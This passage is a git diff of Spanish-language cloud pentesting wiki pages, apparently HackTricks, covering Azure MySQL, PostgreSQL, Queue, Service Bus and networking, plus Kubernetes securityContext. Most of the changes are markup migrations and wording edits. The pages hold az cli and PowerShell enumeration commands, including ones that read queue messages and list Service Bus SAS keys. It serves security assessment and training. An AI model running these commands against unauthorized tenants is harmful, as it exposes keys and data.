execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - O con el plugin de extensión nativa de MySQL -{% code overflow="wrap" %} ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - También puedes ejecutar consultas con github, pero también se necesitan la contraseña y el usuario. Necesitas configurar un archivo sql con la consulta a ejecutar y luego: -{% code overflow="wrap" %} ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,24 +133,20 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## Escalación de Privilegios -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} ## Post Explotación -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## ToDo -* Buscar una forma de acceder con mysql flexible-server ad-admin para verificar si es un método de escalación de privilegios - - +* Buscar una forma de acceder con mysql flexible-server ad-admin para verificar que es un método de escalación de privilegios {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 8fd44702d..8b65788e1 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -21,14 +21,13 @@ * **Monitoreo Activo**: Accede a métricas y registros detallados para rastrear y mejorar el rendimiento de la base de datos. * **Detener/Iniciar Servidor**: Los usuarios pueden detener e iniciar el servidor. * **Copias de Seguridad Automáticas**: Copias de seguridad diarias integradas con períodos de retención configurables de hasta 35 días. -* **Acceso Basado en Roles**: Controla los permisos de usuario y el acceso administrativo a través de Azure Active Directory. +* **Acceso Basado en Roles**: Controla los permisos de los usuarios y el acceso administrativo a través de Azure Active Directory. * **Seguridad y Redes**: puede gestionar las reglas del firewall del servidor para un acceso seguro a la base de datos y desacoplar configuraciones de red virtual según sea necesario. ### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Conexión Con la extensión rdbms-connect puedes acceder a la base de datos con: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - O -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} - ## Referencias -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## Escalación de Privilegios -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} ## Post Explotación -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## ToDo -* Buscar una forma de acceder con ad-admin para verificar que es un método de privesc +* Buscar una forma de acceder con ad-admin para verificar si es un método de privesc {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index a803664eb..9f9f2f227 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## Información Básica -Azure Queue Storage es un servicio en la plataforma de nube Azure de Microsoft diseñado para la **comunicación asíncrona y desacoplamiento** entre componentes de aplicación. Permite almacenar un número ilimitado de mensajes, cada uno de hasta 64 KB de tamaño, y soporta operaciones como crear y eliminar colas, agregar, recuperar, actualizar y eliminar mensajes, así como gestionar metadatos y políticas de acceso. Aunque típicamente procesa mensajes en un orden de primero en entrar, primero en salir (FIFO), no se garantiza un FIFO estricto. +Azure Queue Storage es un servicio en la plataforma de nube Azure de Microsoft diseñado para la cola de mensajes entre componentes de la aplicación, **permitiendo la comunicación asíncrona y el desacoplamiento**. Te permite almacenar un número ilimitado de mensajes, cada uno de hasta 64 KB de tamaño, y soporta operaciones como crear y eliminar colas, agregar, recuperar, actualizar y eliminar mensajes, así como gestionar metadatos y políticas de acceso. Aunque típicamente procesa mensajes en un orden de primero en entrar, primero en salir (FIFO), no se garantiza un FIFO estricto. ### Enumeración @@ -12,19 +12,19 @@ Azure Queue Storage es un servicio en la plataforma de nube Azure de Microsoft d {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 9472f3293..0078a7e25 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -35,7 +35,7 @@ Algunas características avanzadas son: ### Regla de Autorización / Política SAS -Las Políticas SAS definen los permisos de acceso para las entidades del espacio de nombres de Azure Service Bus (la más importante), colas y temas. Cada política tiene los siguientes componentes: +Las Políticas SAS definen los permisos de acceso para las entidades del espacio de nombres de Azure Service Bus (el más importante), colas y temas. Cada política tiene los siguientes componentes: - **Permisos**: Casillas de verificación para especificar niveles de acceso: - Administrar: Otorga control total sobre la entidad, incluyendo la configuración y gestión de permisos. @@ -51,9 +51,8 @@ sku, regla de autorización, ### Enumeración -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Escalación de Privilegios @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName -ResourceGroupName ``` +{{#endtab }} +{{#endtabs }} + ## Ejecución de Código en VMs ### Extensiones de VM diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 90c016ab8..2d0c658f8 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -4,14 +4,14 @@ ## Información Básica -Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes aisladas** dentro de la nube de Azure. Dentro de estas VNets, se pueden alojar y gestionar de forma segura recursos como máquinas virtuales, aplicaciones, bases de datos... La red en Azure admite tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas e internet.\ +Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes** **aisladas** dentro de la nube de Azure. Dentro de estas VNets, recursos como máquinas virtuales, aplicaciones, bases de datos... pueden ser alojados y gestionados de forma segura. La conectividad en Azure soporta tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas e internet.\ Además, es posible **conectar** VNets con otras VNets y con redes locales. ## Red Virtual (VNET) y Subredes -Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPN) en Azure, alojando recursos como Máquinas Virtuales (VM), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red. +Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPNs) en Azure, alojando recursos como Máquinas Virtuales (VMs), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red. -**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicos. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo con tu arquitectura de red.\ +**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicos. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo a tu arquitectura de red.\ Por defecto, todas las subredes dentro de la misma Red Virtual de Azure (VNet) **pueden comunicarse entre sí** sin ninguna restricción. **Ejemplo:** @@ -22,7 +22,7 @@ Por defecto, todas las subredes dentro de la misma Red Virtual de Azure (VNet) * ### Enumeración -Para listar todas las VNets y subredes en una cuenta de Azure, puedes usar la Interfaz de Línea de Comandos de Azure (CLI). Aquí están los pasos: +Para listar todas las VNets y subredes en una cuenta de Azure, puedes usar la Interfaz de Línea de Comando de Azure (CLI). Aquí están los pasos: {{#tabs }} {{#tab name="az cli" }} @@ -56,7 +56,7 @@ Los NSGs pueden asociarse a **subredes y NICs.** **Ejemplo de reglas:** - Una regla de entrada que permite el tráfico HTTP (puerto 80) desde cualquier origen a tus servidores web. -- Una regla de salida que permite solo el tráfico SQL (puerto 1433) a un rango de direcciones IP de destino específico. +- Una regla de salida que permite solo tráfico SQL (puerto 1433) a un rango de direcciones IP de destino específico. ### Enumeración @@ -95,15 +95,16 @@ Azure Firewall es un **servicio de seguridad de red gestionado** en Azure que pr Está disponible en tres SKUs—**Básico**, **Estándar** y **Premium**, cada uno adaptado a necesidades específicas de los clientes: -| **Caso de Uso Recomendado** | Pequeñas/Medianas Empresas (PYMEs) con necesidades limitadas | Uso empresarial general, filtrado de Capas 3–7 | Entornos altamente sensibles (por ejemplo, procesamiento de pagos) | -| ------------------------------ | ----------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------- | -| **Rendimiento** | Hasta 250 Mbps de rendimiento | Hasta 30 Gbps de rendimiento | Hasta 100 Gbps de rendimiento | -| **Inteligencia de Amenazas** | Solo alertas | Alertas y bloqueo (IPs/dominios maliciosos) | Alertas y bloqueo (inteligencia de amenazas avanzada) | -| **Filtrado L3–L7** | Filtrado básico | Filtrado con estado a través de protocolos | Filtrado con estado con inspección avanzada | -| **Protección Avanzada contra Amenazas** | No disponible | Filtrado basado en inteligencia de amenazas | Incluye Sistema de Detección y Prevención de Intrusiones (IDPS) | -| **Inspección TLS** | No disponible | No disponible | Soporta terminación TLS entrante/saliente | -| **Disponibilidad** | Backend fijo (2 VMs) | Escalado automático | Escalado automático | -| **Facilidad de Gestión** | Controles básicos | Gestionado a través del Administrador de Firewall | Gestionado a través del Administrador de Firewall | +| Criterio/Característica | Opción 1 | Opción 2 | Opción 3 | +| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | +| **Caso de Uso Recomendado** | Pequeñas/Medianas Empresas (PMEs) con necesidades limitadas | Uso empresarial general, filtrado de Capas 3–7 | Entornos altamente sensibles (por ejemplo, procesamiento de pagos) | +| **Rendimiento** | Hasta 250 Mbps de rendimiento | Hasta 30 Gbps de rendimiento | Hasta 100 Gbps de rendimiento | +| **Inteligencia de Amenazas** | Solo alertas | Alertas y bloqueo (IPs/dominios maliciosos) | Alertas y bloqueo (inteligencia de amenazas avanzada) | +| **Filtrado L3–L7** | Filtrado básico | Filtrado con estado a través de protocolos | Filtrado con estado con inspección avanzada | +| **Protección Avanzada contra Amenazas** | No disponible | Filtrado basado en inteligencia de amenazas | Incluye Sistema de Detección y Prevención de Intrusiones (IDPS) | +| **Inspección TLS** | No disponible | No disponible | Soporta terminación TLS entrante/saliente | +| **Disponibilidad** | Backend fijo (2 VMs) | Escalado automático | Escalado automático | +| **Facilidad de Gestión** | Controles básicos | Gestionado a través del Firewall Manager | Gestionado a través del Firewall Manager | ### Enumeración @@ -144,7 +145,7 @@ Get-AzFirewall Las **Tablas de Rutas de Azure** se utilizan para controlar el enrutamiento del tráfico de red dentro de una subred. Definen reglas que especifican cómo se deben reenviar los paquetes, ya sea a recursos de Azure, a internet o a un siguiente salto específico como un Appliance Virtual o Azure Firewall. Puedes asociar una tabla de rutas con una **subred**, y todos los recursos dentro de esa subred seguirán las rutas en la tabla. -**Ejemplo:** Si una subred alberga recursos que necesitan enrutar tráfico saliente a través de un Appliance Virtual de Red (NVA) para inspección, puedes crear una **ruta** en una tabla de rutas para redirigir todo el tráfico (por ejemplo, `0.0.0.0/0`) a la dirección IP privada del NVA como el siguiente salto. +**Ejemplo:** Si una subred alberga recursos que necesitan enrutar el tráfico saliente a través de un Network Virtual Appliance (NVA) para inspección, puedes crear una **ruta** en una tabla de rutas para redirigir todo el tráfico (por ejemplo, `0.0.0.0/0`) a la dirección IP privada del NVA como el siguiente salto. ### **Enumeración** @@ -205,9 +206,9 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private {{#endtab }} {{#endtabs }} -## Puntos de Conexión de Servicios de Azure +## Puntos de Conexión de Servicio de Azure -Los Puntos de Conexión de Servicios de Azure extienden el espacio de direcciones privadas de su red virtual y la identidad de su VNet a los servicios de Azure a través de una conexión directa. Al habilitar los puntos de conexión de servicio, **los recursos en su VNet pueden conectarse de manera segura a los servicios de Azure**, como Azure Storage y Azure SQL Database, utilizando la red troncal de Azure. Esto asegura que el **tráfico de la VNet al servicio de Azure permanezca dentro de la red de Azure**, proporcionando un camino más seguro y confiable. +Los Puntos de Conexión de Servicio de Azure extienden el espacio de direcciones privadas de su red virtual y la identidad de su VNet a los servicios de Azure a través de una conexión directa. Al habilitar los puntos de conexión de servicio, **los recursos en su VNet pueden conectarse de manera segura a los servicios de Azure**, como Azure Storage y Azure SQL Database, utilizando la red troncal de Azure. Esto asegura que el **tráfico de la VNet al servicio de Azure permanezca dentro de la red de Azure**, proporcionando un camino más seguro y confiable. **Ejemplo:** @@ -253,12 +254,12 @@ Microsoft recomienda usar Private Links en la [**docs**](https://learn.microsoft **Private Links:** - Private Link mapea los servicios de Azure en tu VNet a través de un endpoint privado, que es una interfaz de red con una dirección IP privada dentro de tu VNet. -- El servicio de Azure se accede utilizando esta dirección IP privada, haciendo que parezca parte de tu red. +- El servicio de Azure se accede utilizando esta dirección IP privada, haciendo que parezca que es parte de tu red. - Los servicios conectados a través de Private Link solo pueden ser accedidos desde tu VNet o redes conectadas; no hay acceso público a internet al servicio. - Permite una conexión segura a los servicios de Azure o a tus propios servicios alojados en Azure, así como una conexión a servicios compartidos por otros. -- Proporciona un control de acceso más granular a través de un endpoint privado en tu VNet, en lugar de un control de acceso más amplio a nivel de subred con service endpoints. +- Proporciona un control de acceso más granular a través de un endpoint privado en tu VNet, en lugar de un control de acceso más amplio a nivel de subred con los service endpoints. -En resumen, aunque tanto Service Endpoints como Private Links proporcionan conectividad segura a los servicios de Azure, **Private Links ofrecen un mayor nivel de aislamiento y seguridad al garantizar que los servicios se accedan de forma privada sin exponerlos a internet público**. Los Service Endpoints, por otro lado, son más fáciles de configurar para casos generales donde se requiere un acceso simple y seguro a los servicios de Azure sin necesidad de una IP privada en la VNet. +En resumen, aunque tanto los Service Endpoints como los Private Links proporcionan conectividad segura a los servicios de Azure, **los Private Links ofrecen un mayor nivel de aislamiento y seguridad al garantizar que los servicios se accedan de forma privada sin exponerlos a internet público**. Los Service Endpoints, por otro lado, son más fáciles de configurar para casos generales donde se requiere un acceso simple y seguro a los servicios de Azure sin necesidad de una IP privada en la VNet. ## Azure Front Door (AFD) y AFD WAF @@ -295,7 +296,7 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName - **El Peering de VNet** es una característica de red en Azure que **permite que diferentes Redes Virtuales (VNets) se conecten de manera directa y sin problemas**. A través del peering de VNet, los recursos en una VNet pueden comunicarse con recursos en otra VNet utilizando direcciones IP privadas, **como si estuvieran en la misma red**.\ **El Peering de VNet también se puede usar con redes locales** configurando una VPN de sitio a sitio o Azure ExpressRoute. -**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub generalmente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, lo que les permite aprovechar los servicios compartidos dentro del hub. Este modelo promueve un diseño de red limpio, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo en diferentes VNets pueden usar. +**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub generalmente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, lo que les permite aprovechar los servicios compartidos dentro del hub. Este modelo promueve un diseño de red limpio, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo a través de diferentes VNets pueden usar. > [!CAUTION] > **El emparejamiento de VNET no es transitivo en Azure**, lo que significa que si el spoke 1 está conectado al spoke 2 y el spoke 2 está conectado al spoke 3, entonces el spoke 1 no puede comunicarse directamente con el spoke 3. @@ -363,7 +364,7 @@ Get-AzFirewall ## VPN de Sitio a Sitio -Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de un **gateway VPN que cifra el tráfico** entre las dos redes. +Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como las VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de un **gateway VPN que cifra el tráfico** entre las dos redes. **Ejemplo:** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index bee980f22..8368622ad 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -13,15 +13,16 @@ Al especificar el contexto de seguridad de un Pod, puedes usar varios atributos. - Si es posible, considera **limitar** **permisos** indicando **seLinuxOptions** y **seccompProfile** - No dar acceso de **grupo** de **privilegios** a través de **runAsGroup** y **supplementaryGroups** +| Parámetro | Descripción | |

fsGroup
entero

|

Un grupo suplementario especial que se aplica a todos los contenedores en un pod. Algunos tipos de volúmenes permiten que el Kubelet cambie la propiedad de ese volumen para que sea propiedad del pod:
1. El GID propietario será el FSGroup
2. El bit setgid está establecido (los nuevos archivos creados en el volumen serán propiedad de FSGroup)
3. Los bits de permiso se OR'd con rw-rw---- Si no se establece, el Kubelet no modificará la propiedad y los permisos de ningún volumen

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

fsGroupChangePolicy
cadena

| Esto define el comportamiento de **cambiar la propiedad y el permiso del volumen** antes de ser expuesto dentro del Pod. | + +|

fsGroupChangePolicy
cadena

| Esto define el comportamiento de **cambio de propiedad y permiso del volumen** antes de ser expuesto dentro del Pod. | |

runAsGroup
entero

| El **GID para ejecutar el punto de entrada del proceso del contenedor**. Usa el valor predeterminado de tiempo de ejecución si no se establece. | |

runAsNonRoot
booleano

| Indica que el contenedor debe ejecutarse como un usuario no root. Si es verdadero, el Kubelet validará la imagen en tiempo de ejecución para asegurarse de que no se ejecute como UID 0 (root) y fallará al iniciar el contenedor si lo hace. | |

runAsUser
entero

| El **UID para ejecutar el punto de entrada del proceso del contenedor**. Por defecto, se utiliza el usuario especificado en los metadatos de la imagen si no se especifica. | |

seLinuxOptions
SELinuxOptions
Más información sobre seLinux

| El **contexto SELinux que se aplicará a todos los contenedores**. Si no se especifica, el tiempo de ejecución del contenedor asignará un contexto SELinux aleatorio para cada contenedor. | |

seccompProfile
SeccompProfile
Más información sobre Seccomp

| Las **opciones seccomp que usarán los contenedores** en este pod. | -|

supplementalGroups
array de enteros

| Una lista de **grupos aplicados al primer proceso ejecutado en cada contenedor**, además del GID primario del contenedor. | +|

supplementalGroups
array de enteros

| Una lista de **grupos aplicados al primer proceso ejecutado en cada contenedor**, además del GID principal del contenedor. | |

sysctls
Sysctl array
Más información sobre sysctls

| Los sysctls contienen una lista de **sysctls con espacio de nombres utilizados para el pod**. Los pods con sysctls no soportados (por el tiempo de ejecución del contenedor) podrían fallar al lanzarse. | |

windowsOptions
WindowsSecurityContextOptions

| La configuración específica de Windows aplicada a todos los contenedores. Si no se especifica, se utilizarán las opciones dentro del SecurityContext de un contenedor. | @@ -54,7 +55,7 @@ Ten en cuenta que los atributos establecidos en **tanto SecurityContext como Pod |

seccompProfile
SeccompProfile

| Las **opciones seccomp** que usará este contenedor. | |

windowsOptions
WindowsSecurityContextOptions

| La **configuración específica de Windows** aplicada a todos los contenedores. | -## References +## Referencias - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)